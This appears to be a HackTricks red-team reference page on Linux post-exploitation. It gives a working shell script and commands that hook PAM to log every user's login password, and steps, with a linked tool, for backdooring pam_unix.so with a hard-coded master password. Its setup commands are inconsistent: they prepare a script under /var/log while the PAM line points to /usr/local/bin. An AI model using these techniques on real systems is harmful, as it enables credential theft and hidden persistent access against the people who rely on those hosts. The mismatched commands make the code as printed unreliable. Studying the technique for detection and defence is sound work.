Linux Post-Exploitation

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Sniffing Logon Passwords with PAM

Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check:

PAM - Pluggable Authentication Modules

For further details check the original post. This is just a summary:

Technique Overview: Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.

Capturing Credentials:

• A bash script named toomanysecrets.sh is crafted to log login attempts, capturing the date, username ($PAM_USER), password (via stdin), and remote host IP ($PAM_RHOST) to /var/log/toomanysecrets.log.

• The script is made executable and integrated into the PAM configuration (common-auth) using the pam_exec.so module with options to run quietly and expose the authentication token to the script.

• The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly.

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

For further details check the original post. This is just a summary:

The Pluggable Authentication Module (PAM) is a system used under Linux for user authentication. It operates on three main concepts: username, password, and service. Configuration files for each service are located in the /etc/pam.d/ directory, where shared libraries handle authentication.

Objective: Modify PAM to allow authentication with a specific password, bypassing the actual user password. This is particularly focused on the pam_unix.so shared library used by the common-auth file, which is included by almost all services for password verification.

Steps for Modifying pam_unix.so:

1. Locate the Authentication Directive in the common-auth file:

   • The line responsible for checking a user's password calls pam_unix.so.

2. Modify Source Code:

   • Add a conditional statement in the pam_unix_auth.c source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.

3. Recompile and Replace the modified pam_unix.so library in the appropriate directory.

4. Testing:

   • Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.

You can automate this process with https://github.com/zephrax/linux-pam-backdoor

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

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